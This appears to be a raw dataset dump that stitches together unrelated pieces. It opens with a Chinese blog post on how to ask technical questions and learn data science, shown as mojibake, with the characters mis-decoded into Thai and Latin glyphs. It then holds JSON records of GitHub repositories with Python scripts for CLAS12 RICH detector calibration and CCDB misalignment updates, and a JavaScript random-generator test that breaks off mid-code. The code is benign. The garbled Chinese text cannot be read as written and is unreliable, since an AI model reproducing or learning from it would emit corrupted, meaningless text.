\"ๆ้—ฎ็š„่‰บๆœฏ\"\n\nๅœจ่‡ชๅญฆ็š„่ฟ™ๆก้“่ทฏไธŠ๏ผŒๆ€ปๆœ‰ไฝ ๅณไฝฟๆœ็ดขไนŸๆ— ่ƒฝไธบๅŠ›็š„ๆ—ถๅ€™๏ผŒไนŸๆœ‰ไธ€ๆ—ถๆƒณๅฟซ้€Ÿๅพ—ๅˆฐ้ซ˜ๆ‰‹ๆˆ–ๅ‰่พˆ็š„่งฃ็ญ”็š„ๆ—ถๅ€™๏ผŒ้šพๅ…ๅฐฑไผšๆƒณๅˆฐ็›ดๆŽฅๆ‹‰ไธชไบบ้—ฎไธ€ไธ‹ไธๅฐฑๅฅฝไบ†ๅ˜›๏ผŸๆฒก้”™๏ผŒ่ฟ™ๆ˜ฏ่Žทๅ–็ป้ชŒๅ’Œ็Ÿฅ่ฏ†ๆœ€็›ดๆŽฅ็š„ๆ–นๅผใ€‚ไฝ†ๆ˜ฏ๏ผŒไฝ ๆ˜ฏๅฆ็Ÿฅ้“ๅฆ‚ไฝ•ๆๅ‡บไฝ ็š„้—ฎ้ข˜๏ผŒไนŸๆ˜ฏไธ€ไธช้œ€่ฆๆŠ€ๆœฏๅซ้‡็š„ๅ“ฆ๏ผๅ…ถๅฎžๅพˆๅคšๆ—ถๅ€™็พค้‡Œๆฒกๆœ‰ไบบๅ›ž็ญ”ไฝ ็š„้—ฎ้ข˜๏ผŒไธๆ˜ฏๅ› ไธบๅˆซไบบๅฏนไฝ ็š„้—ฎ้ข˜ไธๅฑ‘ไธ€้กพๆˆ–่€…่ง‰ๅพ—้—ฎ้ข˜ๅคชlow๏ผŒ่€Œๆ˜ฏไธ็Ÿฅ้“ไฝ ๅœจ้—ฎไป€ไนˆใ€‚ใ€‚ใ€‚ใ€‚ใ€‚\n\n\n\nๆฏ”ๆ–น่ฏด๏ผŒๆœ‰็š„็›ดๆŽฅๆฑ‚***ๅคง็ฅž็š„ๅ‡บ็Žฐ๏ผš\n\n![](https://i.loli.net/2018/01/16/5a5dabdf6d8f0.png)\n\n![](https://i.loli.net/2018/01/16/5a5db1743a260.png)\n\n\n\n้šพ้“ไผšๆŒ‡ๆœ›ๆœ‰่‡ช็งฐๅคง็ฅž็š„ไบบๅ›ž่ทณๅ‡บๆฅ่ฏด่‡ชๅทฑๆ˜ฏ็ฒพ้€š็š„ไนˆ๏ผŸ่ฏทๅ…ˆ่‡ช่กŒ็ ”็ฉถ๏ผŒ็„ถๅŽ็›ดๆŽฅๆŠŠๅ…ทไฝ“็š„้—ฎ้ข˜่ดดๅ‡บๆฅ๏ผŒๆ‰่ƒฝ่ฎฉๅˆซไบบๆœ‰ๆœบไผšๆŽฅไฝ ็š„่ฏ้Ÿณๅ„ฟใ€‚\n\n\n\nๆ›ดๅคš็š„ๆƒ…ๅ†ตๆ˜ฏ๏ผŒๅ’Œ้—ฎ้ข˜็›ธๅ…ณ็š„่ƒŒๆ™ฏ็ป†่Š‚ไธ่ฏดๆธ…ๆฅšๅฐฑ็›ดๆŽฅ้šๅฃไธ€้—ฎ:\n\n![](https://i.loli.net/2018/01/16/5a5db592d16de.png)\n\nๆŒ‰็…งๅ“ชไธชๆญฅ้ชค่ฏดๆ˜Ž๏ผŸ็Žฏๅขƒๆ€Žไนˆๆฃ€้ชŒ็š„๏ผŸๅœจๅ“ช้‡Œimport่ฏดไธ่กŒ๏ผŸ่ฟ™ไบ›ๅฆ‚ๆžœไธ่ฏดๆธ…ๆฅš๏ผŒๆ˜ฏไธไผšๆœ‰ไบบๆ™“ๅพ—ไฝ ็š„็”ต่„‘็Žฏๅขƒ็ฉถ็ซŸๆ˜ฏๅ•ฅๆƒ…ๅ†ต๏ผŒๆ›ดๆฒกๆณ•ๆ›ฟไฝ ่งฃ็ญ”ใ€‚\n\n\n\n่ฆ็Ÿฅ้“๏ผŒๅชๆœ‰็œŸๆญฃๆธ…ๆฅšๅ’Œไบ†่งฃ่‡ชๅทฑๆ˜ฏ้‡ๅˆฐไบ†ไป€ไนˆ้—ฎ้ข˜๏ผŒๆ‰่ƒฝ็ป™ๅ‡บๅˆ็†ๅ’Œๆธ…ๆ™ฐ็š„ๆ้—ฎใ€‚ไธ‹้ขๆˆ‘็ฟป่ฏ‘ไบ†Fast.aiไธŠ็ป™ๅ‡บ็š„โ€œ[ๅฆ‚ไฝ•ๆ้—ฎ็š„ๆŠ€ๅทง]( http://wiki.fast.ai/index.php/How_to_ask_for_Help)โ€ๆฅ็ฎ€่ฆ่ฏดๆ˜Ž๏ผŒๅฝ“ไฝ ไธ็Ÿฅ้“่‡ชๅทฑ้‡ๅˆฐไป€ไนˆ้—ฎ้ข˜็š„ๆ—ถๅ€™๏ผŒ่ฏฅๅฆ‚ไฝ•ๆ้—ฎ๏ผš\n\n> ๆ้—ฎ็š„ๅ†…ๅฎนๅฐฝ้‡ๅŒ…ๅซ๏ผš\n>\n> 1. ไฝ ไธบไบ†่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜๏ผŒไฝ ๆ˜ฏๅšไบ†ๅ“ชไบ›ๆ“ไฝœ๏ผŸไฝ ๅธŒๆœ›่ฟ™ไบ›ๆ“ไฝœๆ˜ฏไป€ไนˆๆ•ˆๆžœๅ’Œๅฎž้™…็š„ๆ•ˆๆžœๆ˜ฏไป€ไนˆ๏ผŸ\n> 2. ไฝ ็Œœๆต‹่ฟ™ไธช้—ฎ้ข˜็š„ๆ นๆบๆ˜ฏไป€ไนˆ๏ผŒไปฅๅŠไฝ ่ฎคไธบ่งฃๅ†ณ่ฏฅ้—ฎ้ข˜ๅฏ่ƒฝ้œ€่ฆๅฆ‚ไฝ•ๅš๏ผŸ\n> 3. ่ฏทๅ‘Š็Ÿฅไฝ ็š„ๅŸบๆœฌ็”ต่„‘็Žฏๅขƒ๏ผšๅฆ‚ไป€ไนˆๆ“ไฝœ็ณป็ปŸ๏ผŸๅœจไบ‘ๅนณๅฐ๏ผŸไฝ ็š„ๅบ“็‰ˆๆœฌๆ˜ฏๅ•ฅ็ญ‰๏ฝž\n> 4. ๅฆ‚ๆžœไฝ ็š„ๆ“ไฝœๆญฅ้ชคไธๅŒไบŽ่ฏพ็จ‹็ป™็š„notebookๆจกๆฟ๏ผŒ่ฏทๅผบ่ฐƒๅ‡บๆฅ๏ฝž\n> 5. ไฝ ๆ”ถๅˆฐ็š„ๆŠฅ้”™ไฟกๆฏๆ˜ฏไป€ไนˆ๏ผˆๅพˆ้‡่ฆ๏ผ๏ผ‰\n> 6. ๅฆ‚ๆžœๅฏไปฅ๏ผŒ่ฏท**ๆˆชๅ›พ**๏ผ\n> 7. ๅฆ‚ๆžœๅ’Œ่ฏพ็จ‹ไธญๆ“ไฝœ็š„่ฟ”ๅ›ž็ป“ๆžœไธไธ€่‡ด๏ผŒ่ฏทๆŒ‡ๆ˜Ž๏ฝž\n> 8. ไฝ ๅทฒ็ป่งฃๅ†ณ็š„้ƒจๅˆ†้—ฎ้ข˜ๆ˜ฏๆ€Žไนˆๅš็š„๏ผŸๆฏ”ๆ–น่ฏดไฝ ้‡ๅฏไบ†็”ต่„‘๏ผŸ้‡ๅฏไบ†kernel๏ผŸ\n> 9. ไฝ ๅ‘่ง‰ๅˆฐๆŸไบ›ๅฏ่กŒ็š„่งฃๅ†ณๆ–นๆกˆ๏ผŒๅฏไปฅ่ดดๅ‡บๆฅ๏ผŒๅฆ‚ๆฅ่‡ชcsdnใ€็ฎ€ไนฆ็ญ‰๏ฝž\n\n\n\nไธŠ้ข็š„ๅˆ—่กจไฟกๆฏๅฐฑๆ˜ฏFast.aiไธŠๆ•ฐๆฎ็ง‘ๅญฆๅฎถๅคง็‰›ๆไพ›็š„ไธ€ไธชโ€œๆ้—ฎ่ฏดๆ˜Žโ€ใ€‚่ฏทๅฐฝ้‡ๅ‚็…ง่ฟ™ไธชๅˆ—่กจๅŽปๆ้—ฎๅฐฑๅฅฝไบ†ใ€‚ไฝ ่ฏด็š„่ถŠๆธ…ๆฅš๏ผŒๅ…ถไป–ไบบๅฐฑไผš่ถŠๆ˜Ž็™ฝใ€‚ไธ็„ถ๏ผŒๅชๆœ‰้‡ๅˆฐ่ฟ‡ๅฎŒๅ…จไธ€ๆ ท้—ฎ้ข˜็š„ไบบๆ‰ๆธ…ๆฅšไฝ ๅœจ่ฏดไป€ไนˆใ€‚ใ€‚ใ€‚ใ€‚\n\n\n\n๏ผˆ้™„๏ผšๅ…ถๅฎž่‘—ๅ็š„ stackoverflow.com ไธŠ่ฎฐๅพ—ไนŸๆœ‰ไธช็ฑปไผผ็š„ๆ้—ฎ่ฏดๆ˜Žๅธ–ๅญ๏ผŒไธ่ฟ‡ๅฐฑๆ‡’ๅพ—ๆ‰พไบ†๏ฝž ๅŸบๆœฌ็ฑปไผผ็š„๏ฝž๏ผ‰\n\n๏ผˆ4/28/2019ๆณจ๏ผš[ใ€Šๆ้—ฎ็š„ๆ™บๆ…งใ€‹็ฒพ่ฏปๆณจ่งฃ็‰ˆ](https://hacpai.com/article/1536377163156)๏ผ‰\n\n---\n\n# ๆœ€ๅŽ\n\nๅ…ณไบŽๅฐ็™ฝๅ…ฅ้—จๆ•ฐๆฎ็ง‘ๅญฆ๏ผŒๆˆ‘ๆƒณ่ฏด็š„ๅ…ณ้”ฎๅ†…ๅฎนไธŠ่ฟฐ้ƒฝๅทฎไธๅคšๅทฒ็ปๆๅˆฐไบ†๏ผŒ่™ฝ็„ถ่ฟ˜ๆœ‰ๅพˆๅคšๅฐ็ป†่Š‚๏ผŒ่ฏธๅฆ‚ๅฆ‚ไฝ•็œ‹ๆŠฅ้”™ไฟกๆฏใ€ๅฆ‚ไฝ•ๆŽŒๆŽง่‡ชๅทฑ็”ต่„‘็š„็Žฏๅขƒๅ˜้‡็ญ‰็ญ‰๏ผŒไฝ†่ฟ™ไบ›ๅฐ้—ฎ้ข˜็ป่ฟ‡ไธŠ้ข็š„ไป‹็ป๏ผŒ็ปˆๅฝ’ไธไผšๆˆไธบ้—ฎ้ข˜ใ€‚\n\n\n\n- ๅฐ็ป“ไธ€ไธ‹๏ผš\n\n - ไผ˜็ง€็š„็บฟไธŠๆ•™่‚ฒๅนณๅฐ๏ผš่ฏพ็จ‹**ๅนฒ่ดง**ๆปกๆปก่ฟ˜ไธๅคฑ**้ฃŽ่ถฃ**๏ผŒ่ฎฒๅธˆ**็ฒพๅŠ›**ๅ……ๆฒ›่ฟ˜็ƒญ็ˆฑ**ๅˆ†ไบซ**๏ผŒๅŠฉๆ•™่ฎค็œŸ**ๆ‰นๆ”น**่ฟ˜็ƒญๆƒ…**ๅ้ฆˆ**ใ€‚\n\n - ๅšๆŒๅฌ็›ดๆ’ญ!\n\n - ๅฅฝ็ฌ”่ฎฐๆ˜ฏ่ฆ็”จ<u>**ๅฟƒ**</u>ๅšๅ‡บๆฅ็š„\n\n - ็ฌ”่ฎฐ่ฝฏไปถๆŽจ่: **Typora**\n\n - ็ฌ”่ฎฐๆ˜ฏๅ†™็ป™ๆœชๆฅ็š„**่‡ชๅทฑ**็œ‹็š„๏ผ\n\n > ๅ†™็ฌ”่ฎฐ็š„็›ฎๆ ‡ๆ˜ฏ๏ผš็›ดๆ’ญๅ›žๆ”พๅช็œ‹ไธ€ๆฌก!\n\n - ๆญฃ็กฎ็š„ๆ€ๅบฆๆ˜ฏไป€ไนˆ?\n\n > ๆฒกๆœ‰ๅ“ชไธชไบบ็Ÿฅ้“ๆ‰€ๆœ‰็š„็ญ”ๆกˆ, ไฝ†ๆ‰€ๆœ‰ไธŽ็ญ”ๆกˆ็›ธๅ…ณ็š„ไฟกๆฏ้ƒฝไธ€ๅฎš่ƒฝๅœจไบ’่”็ฝ‘ไธŠๆ‰พๅˆฐใ€‚\n\n - ๅ…ฅ้—จไธ€ไธชITๆŠ€ๆœฏๅฐฑๅฟ…้กปไผš็š„ๆŠ€่ƒฝ๏ผš**ๆœ็ดข**\n\n > **่ฆๅ……ๅˆ†ๅˆฉ็”จ็™พๅบฆๅ’ŒGoogleๆœ็ดข**๏ผ\n\n - ๅชๆœ‰็œŸๆญฃๆธ…ๆฅšๅ’Œไบ†่งฃ่‡ชๅทฑๆ˜ฏ้‡ๅˆฐไบ†ไป€ไนˆ้—ฎ้ข˜๏ผŒๆ‰่ƒฝ็ป™ๅ‡บๅˆ็†ๅ’Œๆธ…ๆ™ฐ็š„ๆ้—ฎใ€‚\n\n > ่ฎบโ€œๆ้—ฎ็š„่‰บๆœฏโ€\n\n\n\nๆœ€ๅŽ็š„ๅฐๅฟ ๅ‘Šๅฐฑๆ˜ฏ๏ผš**ไธ่ฆๆŒ‡ๆœ›็›ธๅ…ณ็š„ๆ•ฐๅญฆๅŸบ็ก€ๅฏไปฅไธ€ๆญฅๅˆฐไฝ๏ผŒ่ฆๅ…ˆๅคšๆ“ไฝœๅคšๅฎžๆˆ˜ใ€‚ๅœจไธๆ–ญๅบ”็”จๅ’Œไฝฟ็”จ็š„่ฟ‡็จ‹ไธญ๏ผŒๆ…ขๆ…ขๅญฆไน ๅ’Œ่กฅๅ……ๆ•ฐๅญฆๅŸบ็ก€ใ€‚**\n\n\n\n> **็›ธไฟกไฝ ็ปˆไผšๅ‘่ง‰ๅˆฐ๏ผŒๅ…ฅ้—จๆœบๅ™จๅญฆไน ๅ’ŒAI้ข†ๅŸŸๅ…ถๅฎžๆฏ”ไฝ ๆƒณ่ฑกๅพ—่ฆๅฎนๆ˜“็š„ๅคšใ€‚**\n>\n\n\n\n๏ผˆๅฎŒ๏ผ‰\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>" } ]
64
torresdarla/Assignment3ToTurnIn
https://github.com/torresdarla/Assignment3ToTurnIn
2bc7799cb3a2d135afd74f18c84fc01aceaa887d
5f7e414aaa7aaf794aab30e9e300048b295f8788
160fc9b5a0b142dfcb4a3d66d29654c47c11b757
refs/heads/master
2021-01-01T15:34:09.390914
2017-07-18T22:27:36
2017-07-18T22:27:36
97,647,424
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6705234050750732, "alphanum_fraction": 0.6942148804664612, "avg_line_length": 32.592594146728516, "blob_id": "61db95f79cc6fb152efff082316ef68e6951f1e8", "content_id": "ea067c3b7232996582b9af7d6021b69044e041a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1815, "license_type": "no_license", "max_line_length": 139, "num_lines": 54, "path": "/Assignment3.py", "repo_name": "torresdarla/Assignment3ToTurnIn", "src_encoding": "UTF-8", "text": "# Programmed by Darla Torres\n# July 18, 2017\n\n# This program takes a set of temperatures from the NASA website, and analyzes temperature anomalies\ndata = open('temps.txt', 'r')\n\n# This function reads the temps from the temps.txt file and returns them in a list\n\ndef readTemps(file):\n temps=[]\n for line in file:\n temps.append(float(line))\n return temps\n\nfile = readTemps(data)\n\n\n# This function calculates the average of a range of numbers as specified by start (inclusive) and stop (inclusive)\n\ndef calculateAve(start, stop, file):\n numbers = []\n for index in range(len(file)):\n if index >= start and index <= stop:\n numbers.append(file[index])\n avg = sum(numbers)/len(numbers)\n return avg\n\n# This function counts all values that have a positive deviation in the range as specified by start (inclusive) and stop (inclusive) \n\ndef count(start, stop, file):\n numbers = []\n for index in range(len(file)):\n if index >= start and index <= stop and file[index]>0:\n numbers = numbers + [file[index]]\n length= len(numbers)\n return length\n\n#Main Function\n#Data downloaded from http://climate.nasa.gov/\n#Data represents the deviation in global surface\n#Temperature relative to 1952-1980 average temperatures\ndef main():\n average = calculateAve(0,80,file)\n dev= count(0,80,file)\n average1= calculateAve(81,115,file)\n dev1= count(81,115,file)\n print \"During the first 81 years, the average deviation from the temperature anomaly is %s\" %(average) \n print \"Dyring the first 81 years, %s had a positive temperature anomoly\" %dev\n print \"During the last 35 years, the average deviation from the temperature anomaly is %s\" %(average1) \n print \"Dyring the last 35 years, %s had a positive temperature anomoly\" %dev1\n \n\n \nmain()\n\n" } ]
1
clas12brescia/raial
https://github.com/clas12brescia/raial
2cbd6e2fc75fe0e44d13de21d7790d87d85bdd4b
8543c932298d83d7c17c5bd17e86b5be2971d0e6
43ff056d1183f8a01ba59878d4becdb423b83316
refs/heads/master
2023-05-07T02:18:16.209978
2021-05-28T22:34:01
2021-05-28T22:34:01
373,806,223
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6695906519889832, "alphanum_fraction": 0.6754385828971863, "avg_line_length": 23.428571701049805, "blob_id": "e5feda9cd57e18d8fcb9c51ca8c352bead69c827", "content_id": "ae3fe2b0a2936c7e9df376e2ac884a1c10fda371", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 342, "license_type": "no_license", "max_line_length": 110, "num_lines": 14, "path": "/run_drawing.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import sys\n\nfrom costantini_code import tools as t\n\n\n# executing Mirazita code for drawing\ndef runcommand(runnumber):\n command = \"root -l -p -q mirazita_code/RichAI_plots/DrawRichPlots.C(\\\"RichPlots_\" + runnumber + \".root\\\")\"\n stdout = t.runcommand(command)\n print(stdout[0])\n\n\nif __name__ == \"__main__\":\n runcommand(sys.argv[1])\n" }, { "alpha_fraction": 0.5213082432746887, "alphanum_fraction": 0.5272547006607056, "avg_line_length": 33.7931022644043, "blob_id": "848da7836b50caf3d529d1070af50d17857debea", "content_id": "d82150dfd5c91079f4d5f5c1885ea983e8ae5be7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1009, "license_type": "no_license", "max_line_length": 109, "num_lines": 29, "path": "/costantini_code/parameters_setting.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport tools as db\n\n\ndef changing_parameters(parameters, table, module=None):\n if module is None:\n module = [4, 0, 0]\n\n sector = module[0]\n layer = module[1]\n component = module[2]\n\n if isinstance(table, pd.DataFrame):\n if isinstance(parameters, list):\n table['sector'] = table['sector'].astype(int)\n table['layer'] = table['layer'].astype(int)\n table['component'] = table['component'].astype(int)\n\n table.loc[((table['sector'] == sector) & (table['layer'] == layer) & (\n table['component'] == component)), table.columns.tolist()] = [sector, layer,\n component] + parameters\n else:\n print('some problem here: line {}'.format(db.line_numb()))\n raise ValueError\n else:\n print('some problem here: line {}'.format(db.line_numb()))\n raise ValueError\n\n return table\n" }, { "alpha_fraction": 0.6721581816673279, "alphanum_fraction": 0.6754530668258667, "avg_line_length": 27.952381134033203, "blob_id": "a11292442733b4b520c1a4ee55f99607cc54d541", "content_id": "f3bcda7ed94db413c7966e11c26803b6b84d3570", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 607, "license_type": "no_license", "max_line_length": 94, "num_lines": 21, "path": "/run_plots.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import sys\nimport os\nfrom costantini_code import tools as t\n\n\n# executing Mirazita code for build histogram\ndef runcommand(filetoread):\n runnumber = t.getrunnumber(os.path.basename(filetoread))\n\n command = \".//mirazita_code/RichAI_Plots/richPlots\" + \" -R\" + runnumber + \" \" + filetoread\n stdout = t.runcommand(command)\n print(stdout[0])\n\n command = \"mv RichPlots_\" + runnumber + \".out output/plots/\"\n stdout = t.runcommand(command)\n command = \"mv RichPlots_\" + runnumber + \".root output/plots/\"\n stdout = t.runcommand(command)\n\n\nif __name__ == \"__main__\":\n runcommand(sys.argv[1])" }, { "alpha_fraction": 0.6547619104385376, "alphanum_fraction": 0.6640211343765259, "avg_line_length": 29.239999771118164, "blob_id": "69af1c9d96b0ad8c8b2c29c4107db5bbd467117b", "content_id": "a2b33df6def6c06d353923bc2cfe85258221d365", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 756, "license_type": "no_license", "max_line_length": 132, "num_lines": 25, "path": "/run_filter.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import sys\nimport os\n\nfrom costantini_code import tools as t\n\n\n# executing Mirazita code for filtering\ndef runcommand(filetofilter, Layer=\"-1\", eventsnumber=\" \"):\n f = os.path.basename(filetofilter)\n runnumber = t.getrunnumber(f)\n\n command = \"./mirazita_code/RichAI_FilterC/filterHipo -n\" + eventsnumber + \" -R\" + runnumber + \" -L\" + Layer + \" \" + filetofilter\n stdout = t.runcommand(command)\n print(stdout[0])\n\n\n command = \"mv rec_clas_\" + runnumber + \"_AIskim1.hipo output/filter/\"\n stdout = t.runcommand(command)\n command = \"mv rec_clas_\" + runnumber + \"_AIskim1_events.out output/filter/\"\n stdout = t.runcommand(command)\n\n return runnumber\n\nif __name__ == \"__main__\":\n runcommand(sys.argv[1], sys.argv[2], sys.argv[3])\n" }, { "alpha_fraction": 0.6701030731201172, "alphanum_fraction": 0.6728522181510925, "avg_line_length": 29.957447052001953, "blob_id": "112c23dc8ef623e4fd8d929c186ed9999bacf9a5", "content_id": "bbb7d6797d924ba2875310fae6d981d342acc63e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1455, "license_type": "no_license", "max_line_length": 88, "num_lines": 47, "path": "/costantini_code/ccdb_connection.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport ccdb\nimport tools as db\n\n\ndef connecting_ccdb(calibration_connection, variation, user=\"anonymous\"):\n provider = ccdb.AlchemyProvider()\n provider.connect(calibration_connection)\n provider.authentication.current_user_name = user\n\n try:\n provider.get_variation(variation) # cheking if there is a variation\n except:\n create_variation(provider, variation)\n\n return provider\n\n\ndef reading_ccdb(provider, mis_table, variation, run=0):\n variation = provider.get_variation(variation) # That is how you get variation\n table = provider.get_type_table(mis_table)\n assignment = provider.get_assignment(table, 1, variation)\n\n columns = ['sector', 'layer', 'component', 'dx', 'dy', 'dz', 'dthx', 'dthy', 'dthz']\n pars = pd.DataFrame(assignment.constant_set.data_table, columns=columns)\n\n return pars\n\n\ndef create_variation(provider, variation, parent=\"default\", comment=\"\"):\n parent_var = provider.create_variation(variation, comment, parent)\n\n\ndef adding_to_ccdb(parameters, provider, table, variation, comment=\"\"):\n if isinstance(parameters, list):\n provider.create_assignment(\n data=parameters,\n path=table,\n variation_name=variation,\n min_run=0,\n max_run=ccdb.INFINITE_RUN,\n comment=comment)\n else:\n print('some problem here: line {}'.format(db.line_numb()))\n raise ValueError\n\n return 0\n" }, { "alpha_fraction": 0.6507936716079712, "alphanum_fraction": 0.660597562789917, "avg_line_length": 31.953845977783203, "blob_id": "b879652f63675ff8fe652524c28f234e37a3a9cf", "content_id": "39b28bc6d1f4b2c6cf3e93faf7353f7f84ecf25d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2142, "license_type": "no_license", "max_line_length": 120, "num_lines": 65, "path": "/main.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import sys\nimport os\n\nfrom costantini_code import ccdb_connection as cc, parameters_setting as pm\n\nimport run_reco\nimport run_plots\nimport run_filter\n\nif __name__ == \"__main__\":\n ## INIT CCDB\n\n maindir = os.getcwd() + \"/\"\n calibration_connection = \"sqlite:///\" + maindir + \"ccdb_4.3.2.sqlite\"\n calibration_table = \"/calibration/rich/misalignments\"\n variation = \"misalignments\"\n user = \"Costantini\"\n\n provider = cc.connecting_ccdb(calibration_connection, variation)\n old_pars_table = cc.reading_ccdb(provider, calibration_table, variation)\n for col in old_pars_table.columns:\n if col == \"sector\" or col == \"layer\" or col == \"component\":\n continue\n else:\n old_pars_table[col].values[:] = 0\n toadd = old_pars_table.values.tolist()\n cc.adding_to_ccdb(toadd, provider, calibration_table, variation)\n\n\n filterdir = maindir + \"output/filter/\"\n recodir = maindir + \"output/reco/\"\n plotsdir = maindir + \"output/plots/\"\n\n # OUT FROM THE LOOP\n if len(sys.argv) == 3:\n nevents = \" \"\n else:\n nevents = sys.argv[3]\n\n run = run_filter.runcommand(sys.argv[1], sys.argv[2], nevents)\n fileforreco = filterdir + \"rec_clas_\" + run + \"_AIskim1.hipo\"\n\n # INTO THE LOOP\n run_reco.runcommand(fileforreco)\n fileforplot = recodir + \"rec_clas_\" + run + \"_AIskim1.hipo\"\n\n run_plots.runcommand(fileforplot)\n\n # HERE ADDING OPTIMIZATION PROCEDURE\n # FILES .OUT TO USE FOR OPTIMIZATION ARE IN OUTPUT/PLOTS\n # one has to provide to the function changing_parameters a module and a list of parameters (in the order of the ccdb\n # table misalignment), for each module. An example below The function change one module of the \"old_pars_table\"\n # at the time so the table has to be updated every time.\n\n module = [4, 201, 0]\n pars = [0, 0, 1, 1, 1, 0]\n\n # SHOULD LOOP OVER EACH MODULE\n\n # execute Costantini code for update ccdb\n # update ccdb\n new_pars_table = pm.changing_parameters(pars, old_pars_table, module)\n toadd = new_pars_table.values.tolist()\n\n cc.adding_to_ccdb(toadd, provider, calibration_table, variation)\n" }, { "alpha_fraction": 0.6460843086242676, "alphanum_fraction": 0.6641566157341003, "avg_line_length": 27.869565963745117, "blob_id": "a74ca4cd9b73f7b4add696e0e3a892075fe986ae", "content_id": "5e5c3c3d051ef3927f5386529d1a26f68ec09fc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 664, "license_type": "no_license", "max_line_length": 154, "num_lines": 23, "path": "/run_reco.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import sys\nimport os\n\nfrom costantini_code import tools as t\n\n\n# executing Mirazita code for filtering\ndef runcommand(fileIN, fileOUT=None, yalm=\"mirazita_code/RichAI_script/rich.yaml\"):\n f = os.path.basename(fileIN)\n if fileOUT is None:\n fileOUT = f\n runnumber = t.getrunnumber(f)\n\n command = \"/work/clas12/users/devita/clas12validation/clara-iss643-rich/plugins/clas12/bin/recon-util -i \" + fileIN + \" -o \" + fileOUT + \" -y \" + yalm\n stdout = t.runcommand(command)\n print(stdout[0])\n\n command = \"mv \" + fileOUT + \" output/reco/\"\n stdout = t.runcommand(command)\n\n\nif __name__ == \"__main__\":\n runcommand(sys.argv[1], sys.argv[2])\n" }, { "alpha_fraction": 0.7052023410797119, "alphanum_fraction": 0.763005793094635, "avg_line_length": 27.66666603088379, "blob_id": "cecff7c23f85ac44c9af08e98c9d9d830c062274", "content_id": "08bc6b9c987aafc6d2bcd114d2ae87b9b24ded08", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 173, "license_type": "no_license", "max_line_length": 120, "num_lines": 6, "path": "/mirazita_code/RichAI_script/run.sh", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nexport CCDB_CONNECTION=sqlite:////w/hallb-scifs17exp/clas12/mirazita/RICH/clas12rich_reprocessing/ccdb/ccdb_4.3.2.sqlite\n#echo $CCDB_CONNECTION\n\n./runAI.pl $1\n\n" }, { "alpha_fraction": 0.6728538274765015, "alphanum_fraction": 0.6751739978790283, "avg_line_length": 20.549999237060547, "blob_id": "28ab1f7e8eb114133e0cf9d7f7773b58a28710cb", "content_id": "0545deac6af9344ce2d4980993b9faa2ce407a49", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 431, "license_type": "no_license", "max_line_length": 75, "num_lines": 20, "path": "/costantini_code/tools.py", "repo_name": "clas12brescia/raial", "src_encoding": "UTF-8", "text": "import inspect\nimport subprocess\n\n\ndef line_numb():\n '''Returns the current line number in our program'''\n return inspect.currentframe().f_back.f_lineno\n\n\ndef getrunnumber(file):\n r = file.split(\"_\")[2]\n r = int(r)\n r = str(r)\n return r\n\n\ndef runcommand(bashCommand):\n process = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)\n output, error = process.communicate()\n return [output, error]\n" } ]
9
ooby/prand
https://github.com/ooby/prand
6b35d134a985befc2cb7cb3544408769385b246b
7aecf05cbd87ac5e33b149e5c326f8a8b52dbc5f
8a0ba1f7823e4b2b65043d84c764bf4e30bdd858
refs/heads/master
2020-03-16T17:31:40.790797
2018-05-22T14:36:47
2018-05-22T14:36:47
132,836,240
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.2838665843009949, "alphanum_fraction": 0.302927166223526, "avg_line_length": 28.979591369628906, "blob_id": "a663fd5baeaea79fc7822c333863072cae569031", "content_id": "b4f37982812b4d14ed4ec9216a32f82931bea187", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1469, "license_type": "permissive", "max_line_length": 106, "num_lines": 49, "path": "/tests/index.js", "repo_name": "ooby/prand", "src_encoding": "UTF-8", "text": "describe('RANDOM GENERATORS TESTS', () => {\n const { rand, urand, mwc } = require('../');\n let n = 100; // in linux n should be lower than 10 depend on CPU type, n = 100 tested in macOS 10.13.4\n it('Making n random', done => {\n const check = c => {\n if (c === n) { done(); }\n };\n let count = 0;\n for (let i = 0; i < n; i++) {\n rand(1)\n .then(r => {\n if (r >= 0 && r < 1) {\n check(++count);\n }\n })\n .catch(e => { console.error(e); });\n }\n });\n it('Making n urandom', done => {\n const check = c => {\n if (c === n) { done(); }\n };\n let count = 0;\n for (let i = 0; i < n; i++) {\n urand(1)\n .then(r => {\n if (r >= 0 && r < 1) {\n 